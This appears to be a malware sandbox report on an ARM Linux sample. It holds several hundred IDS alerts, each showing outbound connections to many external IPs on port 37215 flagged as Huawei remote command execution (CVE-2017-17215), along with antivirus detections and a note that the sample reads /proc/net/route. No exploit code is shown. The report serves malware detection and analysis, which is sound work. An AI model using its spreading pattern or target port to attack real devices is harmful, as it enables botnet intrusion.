2024-12-30T11:58:51.730988+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43942	41.210.140.132	37215	TCP
2024-12-30T11:58:51.745032+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54808	156.150.133.246	37215	TCP
2024-12-30T11:58:51.745105+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43326	197.208.85.229	37215	TCP
2024-12-30T11:58:51.745204+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47280	41.101.179.43	37215	TCP
2024-12-30T11:58:51.745279+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44830	197.71.172.93	37215	TCP
2024-12-30T11:58:51.745646+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55314	197.73.104.223	37215	TCP
2024-12-30T11:58:51.745663+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58858	41.27.247.47	37215	TCP
2024-12-30T11:58:51.745736+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45792	197.33.148.69	37215	TCP
2024-12-30T11:58:51.746672+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32918	156.180.213.221	37215	TCP
2024-12-30T11:58:51.746756+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35842	41.73.102.3	37215	TCP
2024-12-30T11:58:51.750578+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56800	156.88.74.49	37215	TCP
2024-12-30T11:58:51.760471+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52194	41.34.87.255	37215	TCP
2024-12-30T11:58:51.760570+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35398	197.52.113.101	37215	TCP
2024-12-30T11:58:51.760741+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54436	197.226.202.212	37215	TCP
2024-12-30T11:58:51.760762+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57836	197.172.171.168	37215	TCP
2024-12-30T11:58:51.762343+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57496	41.132.225.198	37215	TCP
2024-12-30T11:58:51.762438+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57680	156.144.180.162	37215	TCP
2024-12-30T11:58:51.764484+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57850	41.217.42.133	37215	TCP
2024-12-30T11:58:51.764502+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54522	41.105.227.129	37215	TCP
2024-12-30T11:58:51.764640+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40830	41.206.110.65	37215	TCP
2024-12-30T11:58:51.807868+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38824	41.224.34.57	37215	TCP
2024-12-30T11:58:52.745363+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38218	197.134.139.67	37215	TCP
2024-12-30T11:58:52.745363+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50372	156.230.7.251	37215	TCP
2024-12-30T11:58:52.745397+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60674	197.227.199.239	37215	TCP
2024-12-30T11:58:52.745751+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45982	197.156.232.95	37215	TCP
2024-12-30T11:58:52.745815+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59534	156.124.227.196	37215	TCP
2024-12-30T11:58:52.762539+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56452	41.38.244.149	37215	TCP
2024-12-30T11:58:52.764490+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34764	197.217.109.16	37215	TCP
2024-12-30T11:58:52.764705+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55966	156.76.10.205	37215	TCP
2024-12-30T11:58:52.776164+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34544	156.18.248.18	37215	TCP
2024-12-30T11:58:52.776236+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38416	197.80.190.119	37215	TCP
2024-12-30T11:58:52.776282+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38194	156.63.10.132	37215	TCP
2024-12-30T11:58:52.776370+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55510	197.225.245.15	37215	TCP
2024-12-30T11:58:52.776955+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39332	156.196.61.37	37215	TCP
2024-12-30T11:58:52.778133+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52480	41.103.209.172	37215	TCP
2024-12-30T11:58:52.778176+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50616	156.226.3.137	37215	TCP
2024-12-30T11:58:52.780167+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58160	41.13.214.81	37215	TCP
2024-12-30T11:58:52.807415+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60418	156.154.20.122	37215	TCP
2024-12-30T11:58:52.809192+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52340	197.195.136.185	37215	TCP
2024-12-30T11:58:53.776517+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51134	41.32.233.13	37215	TCP
2024-12-30T11:58:53.776520+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48608	156.149.232.32	37215	TCP
2024-12-30T11:58:53.776521+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47962	156.121.189.223	37215	TCP
2024-12-30T11:58:53.776784+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43130	41.60.70.193	37215	TCP
2024-12-30T11:58:53.777871+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37854	197.96.255.146	37215	TCP
2024-12-30T11:58:53.781731+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38706	41.172.51.220	37215	TCP
2024-12-30T11:58:53.791845+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42520	41.207.95.130	37215	TCP
2024-12-30T11:58:53.793450+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50780	197.50.164.50	37215	TCP
2024-12-30T11:58:53.793871+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45068	197.75.153.40	37215	TCP
2024-12-30T11:58:53.795583+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43344	41.42.78.248	37215	TCP
2024-12-30T11:58:53.809224+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45936	156.167.253.76	37215	TCP
2024-12-30T11:58:53.828768+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35184	41.104.64.24	37215	TCP
2024-12-30T11:58:54.792066+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48888	197.209.185.66	37215	TCP
2024-12-30T11:58:54.792082+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33074	197.77.32.122	37215	TCP
2024-12-30T11:58:54.792082+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37794	156.197.74.172	37215	TCP
2024-12-30T11:58:54.792082+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56592	197.240.13.36	37215	TCP
2024-12-30T11:58:54.792083+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57792	197.161.90.214	37215	TCP
2024-12-30T11:58:54.792109+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58398	41.193.167.79	37215	TCP
2024-12-30T11:58:54.792181+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47662	197.32.121.20	37215	TCP
2024-12-30T11:58:54.792310+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57424	197.98.175.252	37215	TCP
2024-12-30T11:58:54.792411+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41282	197.154.166.157	37215	TCP
2024-12-30T11:58:54.792540+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52522	156.26.98.244	37215	TCP
2024-12-30T11:58:54.792683+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36878	197.152.142.160	37215	TCP
2024-12-30T11:58:54.793920+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44954	156.170.84.68	37215	TCP
2024-12-30T11:58:54.795758+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33588	41.23.83.218	37215	TCP
2024-12-30T11:58:54.807079+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53582	156.70.208.187	37215	TCP
2024-12-30T11:58:54.807634+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59384	156.24.35.212	37215	TCP
2024-12-30T11:58:54.807646+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53196	156.185.180.126	37215	TCP
2024-12-30T11:58:54.807851+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46606	156.173.232.9	37215	TCP
2024-12-30T11:58:54.808169+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46346	41.209.146.93	37215	TCP
2024-12-30T11:58:54.808251+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35812	197.0.254.96	37215	TCP
2024-12-30T11:58:54.808677+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39972	156.31.243.43	37215	TCP
2024-12-30T11:58:54.809168+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41426	156.92.50.249	37215	TCP
2024-12-30T11:58:54.809416+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54274	156.182.79.186	37215	TCP
2024-12-30T11:58:54.809480+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36158	41.155.188.58	37215	TCP
2024-12-30T11:58:54.809523+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57540	197.150.254.251	37215	TCP
2024-12-30T11:58:54.809835+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54408	197.253.209.63	37215	TCP
2024-12-30T11:58:54.809840+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41290	197.231.146.139	37215	TCP
2024-12-30T11:58:54.809849+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57878	197.209.10.168	37215	TCP
2024-12-30T11:58:54.811557+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40602	156.129.150.227	37215	TCP
2024-12-30T11:58:54.811733+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47006	41.19.126.241	37215	TCP
2024-12-30T11:58:54.811749+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34822	41.119.182.192	37215	TCP
2024-12-30T11:58:54.811771+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34080	41.128.43.216	37215	TCP
2024-12-30T11:58:54.811907+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42538	156.0.77.218	37215	TCP
2024-12-30T11:58:54.813093+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49036	197.84.195.184	37215	TCP
2024-12-30T11:58:54.828754+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36026	156.64.215.53	37215	TCP
2024-12-30T11:58:54.839170+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57214	156.202.216.47	37215	TCP
2024-12-30T11:58:55.807928+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44642	41.61.189.180	37215	TCP
2024-12-30T11:58:55.823193+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36794	156.225.50.93	37215	TCP
2024-12-30T11:58:55.823281+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38552	156.82.155.252	37215	TCP
2024-12-30T11:58:55.823406+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59090	156.75.23.59	37215	TCP
2024-12-30T11:58:55.823575+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49322	41.137.133.178	37215	TCP
2024-12-30T11:58:55.823872+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53364	197.115.136.108	37215	TCP
2024-12-30T11:58:55.825019+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39632	197.140.223.117	37215	TCP
2024-12-30T11:58:55.839027+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56470	41.99.197.241	37215	TCP
2024-12-30T11:58:55.839188+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55640	197.252.126.17	37215	TCP
2024-12-30T11:58:55.839358+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42992	197.205.177.4	37215	TCP
2024-12-30T11:58:55.839416+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40798	156.222.208.126	37215	TCP
2024-12-30T11:58:55.839507+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57330	41.213.194.134	37215	TCP
2024-12-30T11:58:55.839571+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40798	197.148.122.124	37215	TCP
2024-12-30T11:58:55.839714+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58090	197.241.78.175	37215	TCP
2024-12-30T11:58:55.839812+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42416	197.131.165.109	37215	TCP
2024-12-30T11:58:55.839895+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60812	156.125.212.161	37215	TCP
2024-12-30T11:58:55.839983+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33018	41.31.114.195	37215	TCP
2024-12-30T11:58:55.840042+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33196	41.93.85.177	37215	TCP
2024-12-30T11:58:55.840383+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58636	156.70.88.202	37215	TCP
2024-12-30T11:58:55.840705+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35554	197.102.168.182	37215	TCP
2024-12-30T11:58:55.840773+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58786	41.12.203.90	37215	TCP
2024-12-30T11:58:55.840834+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33790	156.6.26.34	37215	TCP
2024-12-30T11:58:55.840935+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48988	41.22.54.7	37215	TCP
2024-12-30T11:58:55.841014+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59948	41.186.45.48	37215	TCP
2024-12-30T11:58:55.841066+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52458	197.126.71.98	37215	TCP
2024-12-30T11:58:55.841237+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39436	41.173.101.87	37215	TCP
2024-12-30T11:58:55.841313+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37984	156.34.188.109	37215	TCP
2024-12-30T11:58:55.841567+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56960	41.27.80.32	37215	TCP
2024-12-30T11:58:55.841810+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47910	156.52.242.108	37215	TCP
2024-12-30T11:58:55.842200+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38254	197.174.132.74	37215	TCP
2024-12-30T11:58:55.842952+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52886	41.239.137.235	37215	TCP
2024-12-30T11:58:55.843022+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52894	197.112.254.50	37215	TCP
2024-12-30T11:58:55.843134+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48242	197.179.205.130	37215	TCP
2024-12-30T11:58:55.843734+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59800	41.199.213.148	37215	TCP
2024-12-30T11:58:55.843974+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50584	197.74.42.212	37215	TCP
2024-12-30T11:58:55.870159+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56266	197.68.58.16	37215	TCP
2024-12-30T11:58:55.870213+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51856	197.21.201.45	37215	TCP
2024-12-30T11:58:55.870677+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39300	197.250.191.220	37215	TCP
2024-12-30T11:58:55.871886+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37416	156.59.124.89	37215	TCP
2024-12-30T11:58:55.871952+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35370	41.146.18.146	37215	TCP
2024-12-30T11:58:55.872283+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40300	156.62.199.72	37215	TCP
2024-12-30T11:58:55.873812+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47264	156.165.124.104	37215	TCP
2024-12-30T11:58:55.875614+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40660	41.208.48.113	37215	TCP
2024-12-30T11:58:56.838823+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36476	156.220.41.140	37215	TCP
2024-12-30T11:58:56.838825+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54618	197.67.194.69	37215	TCP
2024-12-30T11:58:56.838907+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42846	197.166.77.124	37215	TCP
2024-12-30T11:58:56.838947+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54180	41.137.3.156	37215	TCP
2024-12-30T11:58:56.838999+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35170	197.131.52.146	37215	TCP
2024-12-30T11:58:56.839059+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35748	156.26.72.77	37215	TCP
2024-12-30T11:58:56.839121+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55514	156.141.254.26	37215	TCP
2024-12-30T11:58:56.839296+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60398	41.5.7.44	37215	TCP
2024-12-30T11:58:56.857026+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47976	197.89.226.67	37215	TCP
2024-12-30T11:58:56.857081+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52364	156.177.85.163	37215	TCP
2024-12-30T11:58:56.857083+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36772	156.187.83.201	37215	TCP
2024-12-30T11:58:56.857163+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59222	41.134.77.93	37215	TCP
2024-12-30T11:58:56.857342+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35528	41.141.28.196	37215	TCP
2024-12-30T11:58:56.857472+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58356	41.74.161.231	37215	TCP
2024-12-30T11:58:56.857649+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42684	156.104.40.210	37215	TCP
2024-12-30T11:58:56.860567+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55786	41.97.231.42	37215	TCP
2024-12-30T11:58:56.860973+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57072	41.88.229.243	37215	TCP
2024-12-30T11:58:56.862371+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50660	41.14.157.198	37215	TCP
2024-12-30T11:58:56.862571+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50230	41.83.115.198	37215	TCP
2024-12-30T11:58:56.869838+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52088	156.179.207.231	37215	TCP
2024-12-30T11:58:56.869991+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46004	41.5.128.115	37215	TCP
2024-12-30T11:58:56.870145+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43910	41.13.239.74	37215	TCP
2024-12-30T11:58:56.870538+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51136	156.224.168.167	37215	TCP
2024-12-30T11:58:56.870612+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53162	197.30.115.159	37215	TCP
2024-12-30T11:58:56.870928+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48422	41.140.205.34	37215	TCP
2024-12-30T11:58:56.871005+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47906	41.122.230.38	37215	TCP
2024-12-30T11:58:56.871121+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43494	197.101.178.224	37215	TCP
2024-12-30T11:58:56.871594+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48280	156.83.244.4	37215	TCP
2024-12-30T11:58:56.871664+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43550	156.87.120.116	37215	TCP
2024-12-30T11:58:56.871718+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34158	41.113.46.82	37215	TCP
2024-12-30T11:58:56.872206+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40732	197.140.46.219	37215	TCP
2024-12-30T11:58:56.873192+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45210	156.202.40.188	37215	TCP
2024-12-30T11:58:56.873568+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59418	156.121.104.85	37215	TCP
2024-12-30T11:58:56.874894+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58850	156.52.153.136	37215	TCP
2024-12-30T11:58:56.876223+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41782	197.174.79.153	37215	TCP
2024-12-30T11:58:56.886333+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37862	197.197.77.0	37215	TCP
2024-12-30T11:58:56.886365+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38822	197.75.80.26	37215	TCP
2024-12-30T11:58:56.887327+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35476	156.111.102.58	37215	TCP
2024-12-30T11:58:56.887681+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39068	156.183.156.23	37215	TCP
2024-12-30T11:58:56.891239+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37026	197.235.177.7	37215	TCP
2024-12-30T11:58:56.891322+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48846	197.60.159.111	37215	TCP
2024-12-30T11:58:57.692179+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52672	197.6.216.11	37215	TCP
2024-12-30T11:58:57.887564+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47068	156.173.180.181	37215	TCP
2024-12-30T11:58:57.889510+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51198	156.237.113.97	37215	TCP
2024-12-30T11:58:57.891141+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43822	197.139.175.85	37215	TCP
2024-12-30T11:58:57.891271+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49606	156.58.170.92	37215	TCP
2024-12-30T11:58:57.891379+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34308	156.114.23.115	37215	TCP
2024-12-30T11:58:57.901278+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49380	41.29.138.52	37215	TCP
2024-12-30T11:58:57.901281+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40756	41.45.5.127	37215	TCP
2024-12-30T11:58:57.901841+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50558	197.140.95.11	37215	TCP
2024-12-30T11:58:57.917003+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46016	197.153.68.39	37215	TCP
2024-12-30T11:58:57.917597+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56352	156.207.153.89	37215	TCP
2024-12-30T11:58:57.917601+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57514	41.226.43.48	37215	TCP
2024-12-30T11:58:58.124279+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46448	41.59.201.189	37215	TCP
2024-12-30T11:58:58.885930+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43992	156.201.36.131	37215	TCP
2024-12-30T11:58:58.886190+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36876	156.125.220.48	37215	TCP
2024-12-30T11:58:58.901454+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58042	41.92.224.51	37215	TCP
2024-12-30T11:58:58.901460+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42726	156.206.114.161	37215	TCP
2024-12-30T11:58:58.903065+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36688	197.1.244.12	37215	TCP
2024-12-30T11:58:59.120907+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43456	197.54.133.53	37215	TCP
2024-12-30T11:58:59.120917+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57248	41.253.94.233	37215	TCP
2024-12-30T11:58:59.120917+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58124	156.16.231.220	37215	TCP
2024-12-30T11:58:59.902303+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48442	156.71.71.77	37215	TCP
2024-12-30T11:58:59.932846+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50752	197.195.66.242	37215	TCP
2024-12-30T11:58:59.934441+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57560	197.107.151.139	37215	TCP
2024-12-30T11:58:59.938487+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38184	156.243.64.27	37215	TCP
2024-12-30T11:58:59.963297+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49226	197.236.15.152	37215	TCP
2024-12-30T11:58:59.969424+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50702	156.119.170.9	37215	TCP
2024-12-30T11:59:00.932711+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47542	197.245.173.252	37215	TCP
2024-12-30T11:59:00.948537+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36534	197.183.203.104	37215	TCP
2024-12-30T11:59:00.948583+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52068	41.30.168.117	37215	TCP
2024-12-30T11:59:00.949801+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46804	41.154.4.194	37215	TCP
2024-12-30T11:59:00.949888+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51176	197.27.114.2	37215	TCP
2024-12-30T11:59:00.950175+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39274	156.116.102.241	37215	TCP
2024-12-30T11:59:00.952254+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58978	197.249.163.19	37215	TCP
2024-12-30T11:59:00.964291+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52096	41.236.109.207	37215	TCP
2024-12-30T11:59:00.966055+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43526	197.161.63.51	37215	TCP
2024-12-30T11:59:00.966142+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37748	41.139.238.86	37215	TCP
2024-12-30T11:59:00.968207+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39470	41.14.250.149	37215	TCP
2024-12-30T11:59:00.968339+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36132	41.153.250.92	37215	TCP
2024-12-30T11:59:00.968628+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44140	41.201.172.193	37215	TCP
2024-12-30T11:59:00.969363+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60274	156.131.116.36	37215	TCP
2024-12-30T11:59:00.969534+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58264	156.180.169.16	37215	TCP
2024-12-30T11:59:00.969628+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60952	156.49.194.251	37215	TCP
2024-12-30T11:59:00.969751+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42956	41.194.211.102	37215	TCP
2024-12-30T11:59:01.898786+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52376	41.42.250.233	37215	TCP
2024-12-30T11:59:01.964064+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48036	197.193.228.149	37215	TCP
2024-12-30T11:59:01.980419+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58714	197.34.34.74	37215	TCP
2024-12-30T11:59:01.981195+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33440	41.228.212.69	37215	TCP
2024-12-30T11:59:01.995171+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45006	156.171.24.208	37215	TCP
2024-12-30T11:59:01.995471+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44158	41.139.166.49	37215	TCP
2024-12-30T11:59:01.997973+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56438	156.49.246.59	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: vcimanagement.armv7l.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: vcimanagement.armv7l.elf	Virustotal: Detection: 65%			Perma Link
Source: vcimanagement.armv7l.elf	ReversingLabs: Detection: 65%

Spreading

Opens /proc/net/* files useful for finding connected devices and routers

Source: /tmp/vcimanagement.armv7l.elf (PID: 5429)

Opens: /proc/net/route

Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59844 -> 156.250.122.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49830 -> 41.93.37.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53256 -> 156.68.68.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33688 -> 156.0.240.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51876 -> 197.102.24.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49452 -> 197.240.74.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53378 -> 41.214.248.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42920 -> 41.200.70.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45366 -> 41.108.183.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40526 -> 197.24.201.80:37215
